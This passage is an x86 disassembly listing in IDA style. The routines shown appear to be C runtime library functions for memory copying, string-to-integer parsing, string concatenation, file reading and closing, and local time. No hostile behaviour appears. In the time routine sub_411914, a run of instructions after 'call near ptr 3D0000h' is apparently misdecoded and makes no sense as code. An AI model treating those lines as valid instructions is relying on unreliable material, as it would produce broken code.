loc_4113FC:				; CODE XREF: sub_4112D0:loc_41132Cj
					; DATA XREF: sub_4112D0+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41140F:				; CODE XREF: sub_4112D0:loc_41132Cj
					; DATA XREF: sub_4112D0:off_4113ACo
		jmp	ds:off_411418[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_411418	dd offset loc_411428	; DATA XREF: sub_4112D0+35r
					; sub_4112D0+92r ...
		dd offset loc_411430
		dd offset loc_41143C
		dd offset loc_411450
; ---------------------------------------------------------------------------


loc_411428:				; CODE XREF: sub_4112D0+35j
					; sub_4112D0+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_411430:				; CODE XREF: sub_4112D0+35j
					; sub_4112D0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41143C:				; CODE XREF: sub_4112D0+35j
					; sub_4112D0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_411450:				; CODE XREF: sub_4112D0+35j
					; sub_4112D0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_411468:				; CODE XREF: sub_4112D0+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41149C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_411490
		std
		rep movsd
		cld
		jmp	ds:off_4115B0[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_411490:				; CODE XREF: sub_4112D0+1B1j
					; sub_4112D0+208j ...
		neg	ecx
		jmp	ds:off_411560[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41149C:				; CODE XREF: sub_4112D0+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_4114B4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr ds:loc_4114B4+4[eax*4]
; ---------------------------------------------------------------------------


loc_4114B4:				; CODE XREF: sub_4112D0+1D6j
					; DATA XREF: sub_4112D0+1DDr
		jmp	ds:off_4115B0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4114C8
		dd offset loc_4114E8
		dd offset loc_411510
; ---------------------------------------------------------------------------


loc_4114C8:				; DATA XREF: sub_4112D0+1ECo
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_411490
		std
		rep movsd
		cld
		jmp	ds:off_4115B0[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4114E8:				; DATA XREF: sub_4112D0+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_411490
		std
		rep movsd
		cld
		jmp	ds:off_4115B0[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_411510:				; DATA XREF: sub_4112D0+1F4o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_411490
		std
		rep movsd
		cld
		jmp	ds:off_4115B0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_411564
		dd offset loc_41156C
		dd offset loc_411574
		dd offset loc_41157C
		dd offset loc_411584
		dd offset loc_41158C
		dd offset loc_411594
off_411560	dd offset loc_4115A7	; DATA XREF: sub_4112D0+1C2r
; ---------------------------------------------------------------------------


loc_411564:				; DATA XREF: sub_4112D0+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41156C:				; DATA XREF: sub_4112D0+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_411574:				; DATA XREF: sub_4112D0+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41157C:				; DATA XREF: sub_4112D0+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_411584:				; DATA XREF: sub_4112D0+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41158C:				; DATA XREF: sub_4112D0+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_411594:				; DATA XREF: sub_4112D0+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_4115A7:				; CODE XREF: sub_4112D0+1C2j
					; DATA XREF: sub_4112D0:off_411560o
		jmp	ds:off_4115B0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_4115B0	dd offset loc_4115C0	; DATA XREF: sub_4112D0+1B7r
					; sub_4112D0:loc_4114B4r ...
		dd offset loc_4115C8
		dd offset loc_4115D8
		dd offset loc_4115EC
; ---------------------------------------------------------------------------


loc_4115C0:				; CODE XREF: sub_4112D0+1B7j
					; sub_4112D0:loc_4114B4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4115C8:				; CODE XREF: sub_4112D0+1B7j
					; sub_4112D0:loc_4114B4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4115D8:				; CODE XREF: sub_4112D0+1B7j
					; sub_4112D0:loc_4114B4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4115EC:				; CODE XREF: sub_4112D0+1B7j
					; sub_4112D0:loc_4114B4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_4112D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_411605	proc near		; CODE XREF: sub_40307F+34p
					; sub_40307F+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_410C21
		pop	ecx
		pop	ecx
		retn
sub_411605	endp


; =============== S U B	R O U T	I N E =======================================



sub_411613	proc near		; CODE XREF: sub_411680+4p

arg_0		= dword	ptr  4

		push	esi
		push	ds:dword_460EB4
		call	sub_415698
		mov	edx, ds:dword_460EB4
		pop	ecx
		mov	ecx, ds:dword_460EB0
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_411672
		push	edx
		call	sub_415698
		add	eax, 10h
		push	eax
		push	ds:dword_460EB4
		call	sub_41237F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_411655
		retn
; ---------------------------------------------------------------------------


loc_411655:				; CODE XREF: sub_411613+3Fj
		mov	ecx, ds:dword_460EB0
		sub	ecx, ds:dword_460EB4
		mov	ds:dword_460EB4, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	ds:dword_460EB0, ecx


loc_411672:				; CODE XREF: sub_411613+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	ds:dword_460EB0, 4
		retn
sub_411613	endp


; =============== S U B	R O U T	I N E =======================================



sub_411680	proc near		; CODE XREF: sub_40316C+1Ap
					; sub_41AFDE+5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_411613
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_411680	endp


; =============== S U B	R O U T	I N E =======================================



sub_411692	proc near		; DATA XREF: seg002:0041E014o
		push	80h
		call	sub_410C0F
		test	eax, eax
		pop	ecx
		mov	ds:dword_460EB4, eax
		jnz	short loc_4116B3
		push	18h
		call	sub_412ADE
		mov	eax, ds:dword_460EB4
		pop	ecx


loc_4116B3:				; CODE XREF: sub_411692+12j
		and	dword ptr [eax], 0
		mov	eax, ds:dword_460EB4
		mov	ds:dword_460EB0, eax
		retn
sub_411692	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4116C1	proc near		; CODE XREF: sub_4118C9+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_4116D9:				; CODE XREF: sub_4116C1+46j
		cmp	ds:dword_42E39C, 1
		jle	short loc_4116F1
		movzx	eax, bl
		push	8
		push	eax
		call	sub_413446
		pop	ecx
		pop	ecx
		jmp	short loc_411700
; ---------------------------------------------------------------------------


loc_4116F1:				; CODE XREF: sub_4116C1+1Fj
		mov	ecx, ds:off_42E190
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_411700:				; CODE XREF: sub_4116C1+2Ej
		test	eax, eax
		jz	short loc_411709
		mov	bl, [esi]
		inc	esi
		jmp	short loc_4116D9
; ---------------------------------------------------------------------------


loc_411709:				; CODE XREF: sub_4116C1+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_411717
		or	[ebp+arg_C], 2
		jmp	short loc_41171C
; ---------------------------------------------------------------------------


loc_411717:				; CODE XREF: sub_4116C1+4Ej
		cmp	bl, 2Bh
		jnz	short loc_411722


loc_41171C:				; CODE XREF: sub_4116C1+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_411722:				; CODE XREF: sub_4116C1+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_4118B9
		cmp	eax, 1
		jz	loc_4118B9
		cmp	eax, 24h
		jg	loc_4118B9
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41176A
		cmp	bl, 30h
		jz	short loc_411754
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_411786
; ---------------------------------------------------------------------------


loc_411754:				; CODE XREF: sub_4116C1+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_411767
		cmp	al, 58h
		jz	short loc_411767
		mov	[ebp+arg_8], 8
		jmp	short loc_411786
; ---------------------------------------------------------------------------


loc_411767:				; CODE XREF: sub_4116C1+97j
					; sub_4116C1+9Bj
		mov	[ebp+arg_8], ecx


loc_41176A:				; CODE XREF: sub_4116C1+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_411786
		cmp	bl, 30h
		jnz	short loc_411786
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41177E
		cmp	al, 58h
		jnz	short loc_411786


loc_41177E:				; CODE XREF: sub_4116C1+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_411786:				; CODE XREF: sub_4116C1+91j
					; sub_4116C1+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_411796:				; CODE XREF: sub_4116C1+16Cj
		cmp	ds:dword_42E39C, 1
		movzx	esi, bl
		jle	short loc_4117AE
		push	4
		push	esi
		call	sub_413446
		pop	ecx
		pop	ecx
		jmp	short loc_4117B9
; ---------------------------------------------------------------------------


loc_4117AE:				; CODE XREF: sub_4116C1+DFj
		mov	eax, ds:off_42E190
		mov	al, [eax+esi*2]
		and	eax, 4


loc_4117B9:				; CODE XREF: sub_4116C1+EBj
		test	eax, eax
		jz	short loc_4117C5
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_4117F7
; ---------------------------------------------------------------------------


loc_4117C5:				; CODE XREF: sub_4116C1+FAj
		cmp	ds:dword_42E39C, 1
		jle	short loc_4117D9
		push	edi
		push	esi
		call	sub_413446
		pop	ecx
		pop	ecx
		jmp	short loc_4117E4
; ---------------------------------------------------------------------------


loc_4117D9:				; CODE XREF: sub_4116C1+10Bj
		mov	eax, ds:off_42E190
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_4117E4:				; CODE XREF: sub_4116C1+116j
		test	eax, eax
		jz	short loc_411832
		movsx	eax, bl
		push	eax
		call	sub_4156C1
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_4117F7:				; CODE XREF: sub_4116C1+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_411832
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41181C
		jnz	short loc_411816
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41181C


loc_411816:				; CODE XREF: sub_4116C1+147j
		or	[ebp+arg_C], 4
		jmp	short loc_411825
; ---------------------------------------------------------------------------


loc_41181C:				; CODE XREF: sub_4116C1+145j
					; sub_4116C1+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_411825:				; CODE XREF: sub_4116C1+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_411796
; ---------------------------------------------------------------------------


loc_411832:				; CODE XREF: sub_4116C1+125j
					; sub_4116C1+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_411850
		test	edx, edx
		jz	short loc_41184A
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_41184A:				; CODE XREF: sub_4116C1+181j
		and	[ebp+var_8], 0
		jmp	short loc_41189D
; ---------------------------------------------------------------------------


loc_411850:				; CODE XREF: sub_4116C1+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_411876
		test	cl, 1
		jnz	short loc_41189D
		and	ecx, 2
		jz	short loc_41186D
		cmp	[ebp+var_8], 80000000h
		ja	short loc_411876


loc_41186D:				; CODE XREF: sub_4116C1+1A1j
		test	ecx, ecx
		jnz	short loc_41189D
		cmp	[ebp+var_8], eax
		jbe	short loc_41189D


loc_411876:				; CODE XREF: sub_4116C1+197j
					; sub_4116C1+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	ds:dword_45F844, 22h
		jz	short loc_41188C
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_41189D
; ---------------------------------------------------------------------------


loc_41188C:				; CODE XREF: sub_4116C1+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_41189D:				; CODE XREF: sub_4116C1+18Dj
					; sub_4116C1+19Cj ...
		test	edx, edx
		jz	short loc_4118A6
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_4118A6:				; CODE XREF: sub_4116C1+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_4118B4
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_4118B4:				; CODE XREF: sub_4116C1+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_4118C4
; ---------------------------------------------------------------------------


loc_4118B9:				; CODE XREF: sub_4116C1+66j
					; sub_4116C1+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_4118C2
		mov	[eax], edi


loc_4118C2:				; CODE XREF: sub_4116C1+1FDj
		xor	eax, eax


loc_4118C4:				; CODE XREF: sub_4116C1+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4116C1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4118C9	proc near		; CODE XREF: sub_40318D+4BDp
					; seg000:0040C132p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_4116C1
		add	esp, 10h
		retn
sub_4118C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4118E0	proc near		; CODE XREF: sub_40318D+266p
					; sub_40318D+46Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_410B60
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_41578D
		add	esp, 10h
		leave
		retn
sub_4118E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411914	proc near		; CODE XREF: sub_40318D+4Ep

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= dword	ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_A		= byte ptr  12h

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		call	ds:dword_41C000	; GetLocalTime
		lea	eax, [ebp+var_20]
		push	eax
		call	near ptr 3D0000h
		mov	dl, 66h
		mov	eax, [ebp+var_16]
		cmp	ax, ds:word_45F83A
		jnz	short loc_411979
		mov	ax, [ebp+var_18]
		cmp	ax, ds:word_45F838
		jnz	short loc_411979
		mov	ax, [ebp+var_1A]
		cmp	ax, ds:word_45F836
		jnz	short loc_411979
		mov	ax, [ebp+var_1E]
		cmp	ax, ds:word_45F832
		jnz	short loc_411979
		mov	ax, [ebp+var_20]
		cmp	ax, ds:word_45F830
		jnz	short loc_411979
		mov	eax, ds:dword_45F828
		jmp	short loc_4119BE
; ---------------------------------------------------------------------------


loc_411979:				; CODE XREF: sub_411914+28j
					; sub_411914+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		call	near ptr 3D0000h
		add	al, 83h
		clc
		push	dword ptr [ebx+ebx-7Dh]
		clc
		add	dh, [ebp+arg_A]
		cmp	[ebp+var_32], 0
		jz	short loc_4119A2
		cmp	[ebp+var_24], 0
		jz	short loc_4119A2
		push	1
		pop	eax
		jmp	short loc_4119A9
; ---------------------------------------------------------------------------


loc_4119A2:				; CODE XREF: sub_411914+81j
					; sub_411914+87j
		xor	eax, eax
		jmp	short loc_4119A9
; ---------------------------------------------------------------------------
		or	eax, 0FFFFFFFFh


loc_4119A9:				; CODE XREF: sub_411914+8Cj
					; sub_411914+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_45F830
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	ds:dword_45F828, eax
		pop	esi


loc_4119BE:				; CODE XREF: sub_411914+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_41623E
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_4119EE
		mov	[ecx], eax

locret_4119EE:				; CODE XREF: sub_411914+D6j
		leave
		retn
sub_411914	endp


; =============== S U B	R O U T	I N E =======================================



sub_4119F0	proc near		; CODE XREF: sub_40380D+7Cp
					; seg000:00408144p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_411A05
		or	eax, 0FFFFFFFFh
		jmp	short loc_411A3F
; ---------------------------------------------------------------------------


loc_411A05:				; CODE XREF: sub_4119F0+Ej
		test	al, 83h
		jz	short loc_411A3D
		push	esi
		call	sub_416419
		push	esi
		mov	edi, eax
		call	sub_4163B3
		push	dword ptr [esi+10h]
		call	sub_416300
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_411A2B
		or	edi, 0FFFFFFFFh
		jmp	short loc_411A3D
; ---------------------------------------------------------------------------


loc_411A2B:				; CODE XREF: sub_4119F0+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_411A3D
		push	eax
		call	sub_410C83
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_411A3D:				; CODE XREF: sub_4119F0+17j
					; sub_4119F0+39j ...
		mov	eax, edi


loc_411A3F:				; CODE XREF: sub_4119F0+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_4119F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_411A46	proc near		; CODE XREF: sub_40380D+4Ep
					; seg000:00408125p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_411A6A
		xor	eax, eax
		jmp	loc_411B13
; ---------------------------------------------------------------------------


loc_411A6A:				; CODE XREF: sub_411A46+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_411A7D
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_411A89
; ---------------------------------------------------------------------------


loc_411A7D:				; CODE XREF: sub_411A46+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_411A89
; ---------------------------------------------------------------------------


loc_411A86:				; CODE XREF: sub_411A46+C4j
		mov	ecx, [ebp+arg_0]


loc_411A89:				; CODE XREF: sub_411A46+35j
					; sub_411A46+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_411ABB
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_411ABB
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_411AA0
		mov	edi, eax


loc_411AA0:				; CODE XREF: sub_411A46+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_4105F0
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_411B06
; ---------------------------------------------------------------------------


loc_411ABB:				; CODE XREF: sub_411A46+49j
					; sub_411A46+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_411AEE
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_411AD1
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_411AD1:				; CODE XREF: sub_411A46+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_4165C4
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_411B18
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411B1E
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_411B06
; ---------------------------------------------------------------------------


loc_411AEE:				; CODE XREF: sub_411A46+78j
		push	esi
		call	sub_4164EB
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_411B22
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_411B06:				; CODE XREF: sub_411A46+73j
					; sub_411A46+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_411A86
		mov	eax, [ebp+arg_8]


loc_411B13:				; CODE XREF: sub_411A46+1Fj
					; sub_411A46+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_411B18:				; CODE XREF: sub_411A46+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_411B22
; ---------------------------------------------------------------------------


loc_411B1E:				; CODE XREF: sub_411A46+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_411B22:				; CODE XREF: sub_411A46+B2j
					; sub_411A46+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_411B13
sub_411A46	endp


; =============== S U B	R O U T	I N E =======================================



sub_411B2E	proc near		; CODE XREF: sub_411B4E+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41692A
		test	eax, eax
		jnz	short loc_411B38
		retn
; ---------------------------------------------------------------------------


loc_411B38:				; CODE XREF: sub_411B2E+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_4167BA
		add	esp, 10h
		retn
sub_411B2E	endp


; =============== S U B	R O U T	I N E =======================================



sub_411B4E	proc near		; CODE XREF: sub_40380D+2Ap
					; seg000:00404AF6p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_411B2E
		add	esp, 0Ch
		retn
sub_411B4E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_411B70	proc near		; CODE XREF: sub_4038A7+2BFp
					; sub_406C6E+75p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_411BE1
sub_411B70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_411B80	proc near		; CODE XREF: seg000:00403FE1p
					; sub_406C6E+6Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_411B9C


loc_411B8D:				; CODE XREF: sub_411B80+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_411BCF
		test	ecx, 3
		jnz	short loc_411B8D


loc_411B9C:				; CODE XREF: sub_411B80+Bj
					; sub_411B80+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_411B9C
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_411BDE
		test	ah, ah
		jz	short loc_411BD9
		test	eax, 0FF0000h
		jz	short loc_411BD4
		test	eax, 0FF000000h
		jz	short loc_411BCF
		jmp	short loc_411B9C
; ---------------------------------------------------------------------------


loc_411BCF:				; CODE XREF: sub_411B80+12j
					; sub_411B80+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_411BE1
; ---------------------------------------------------------------------------


loc_411BD4:				; CODE XREF: sub_411B80+44j
		lea	edi, [ecx-2]
		jmp	short loc_411BE1
; ---------------------------------------------------------------------------


loc_411BD9:				; CODE XREF: sub_411B80+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_411BE1
; ---------------------------------------------------------------------------


loc_411BDE:				; CODE XREF: sub_411B80+39j
		lea	edi, [ecx-4]


loc_411BE1:				; CODE XREF: sub_411B70+5j
					; sub_411B80+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_411C06


loc_411BED:				; CODE XREF: sub_411B80+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_411C58
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_411BED
		jmp	short loc_411C06
; ---------------------------------------------------------------------------


loc_411C01:				; CODE XREF: sub_411B80+9Ej
					; sub_411B80+B8j
		mov	[edi], edx
		add	edi, 4


loc_411C06:				; CODE XREF: sub_411B80+6Bj
					; sub_411B80+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_411C01
		test	dl, dl
		jz	short loc_411C58
		test	dh, dh
		jz	short loc_411C4F
		test	edx, 0FF0000h
		jz	short loc_411C42
		test	edx, 0FF000000h
		jz	short loc_411C3A
		jmp	short loc_411C01
; ---------------------------------------------------------------------------


